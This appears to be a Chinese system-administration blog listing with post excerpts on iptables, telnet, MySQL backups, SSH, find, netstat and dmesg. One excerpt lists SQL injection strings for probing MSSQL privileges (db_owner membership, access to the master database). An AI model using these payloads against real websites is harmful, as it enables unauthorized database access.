iptables仅允许指定IP访问端口
因为iptables匹配规则是逐条匹配的所以执行命令的时候有先后顺序。 比如仅允许IP 1.1.1.1访问80端口 (more…)
Telnet命令测试服务器网络端口
在平时管理服务器的时候遇到网络不通或者什么服务端口连接不上的时候就可以用telnet命令来判断服务器的端口是否能正常访问。 (more…)
iptables查看NAT链命令
平时更多使用的iptables -L只能查看filter链 当需要看nat链的时候加什么参数呢 iptables -L -n -t nat 如上 加上-t nat就可以了
CentOS删除文件/bin/rm: argument list too long错误处理
单个目录下文件数量过多的时候rm -rf *会出现/bin/rm: argument list too long错误 可用以下命令删除 ls | xargs -n 10 rm -fr ls find /wwwroot/cache/ -name "*" -exec rm {} \;
CentOS通过命令导入导出MySQL备份文件
一、导出数据库用mysqldump命令(注意mysql的安装路径,即此命令的路径): 1、导出数据和表结构: mysqldump -u用户名 -p密码 数据库名 > 数据库名.sql #/usr/local/mysql/bin/ mysqldump -uroot -p abc > abc.sql 敲回车后会提示输入密码 2、只导出表结构 mysqldump -u用户名 -p密码 -d 数据库名 > 数据库名.sql #/usr/local/mysql/bin/ mysqldump -uroot -p -d abc > abc.sql 注:/usr/local/mysql/bin/ ---> mysql的data目录 (more…)
25个实用的SSH命令
OpenSSH是SSH连接工具的免费版本。telnet,rlogin和ftp用户可能还没意识到他们在互联网上传输的密码是未加密的,但SSH是加密的,OpenSSH加密所有通信(包括密码),有效消除了窃听,连接劫持和其它攻击。此外,OpenSSH提供了安全隧道功能和多种身份验证方法,支持SSH协议的所有版本。 SSH是一个非常伟大的工具,如果你要在互联网上远程连接到服务器,那么SSH无疑是最佳的候选。下面是通过网络投票选出的25个最佳SSH命令,你必须牢记于心。 (more…)
收集的一些有些历史的注入命令
//看看是什么权限的 and 1=(Select IS_MEMBER('db_owner')) And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;-- //检测是否有读取某数据库的权限 and 1= (Select HAS_DBACCESS('master')) And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 -- (more…)
Find命令简单使用说明
1)3天内修改过的文件: find -ctime -3 2)find命令使用超过6天,空文件独立查询命令。 find /data/backup -ctime +6 -exec rm -f {} \;   删除/data/backup目录下修改时间超过6天的文件。 find /data/backup -type d -empty -exec rmdir {} \; >/dev/null 2>&1  删除/data/backup目录下空的文件夹,同时输出正确和错误信息到空。 (more…)
用netstat和awk命令来统计网络连接数
netstat -n | awk '/^tcp/ {++state[$NF]} END {for(key in state) print key,"\t",state[key]}' (more…)
dmesg命令详解
Linux命令:dmesg  功能说明:显示开机信息。 语 法:dmesg [-cn][-s <缓冲区大小>] 补充说明:kernel会将开机信息存储在ring buffer中。您若是开机时来不及查看信息,可利用dmesg来查看。开机信息亦保存在/var/log目录中,名称为dmesg的文件里。 参 数: -c 显示信息後,清除ring buffer中的内容。 -s<缓冲区大小> 预设置为8196,刚好等于ring buffer的大小。 -n 设置记录信息的层级。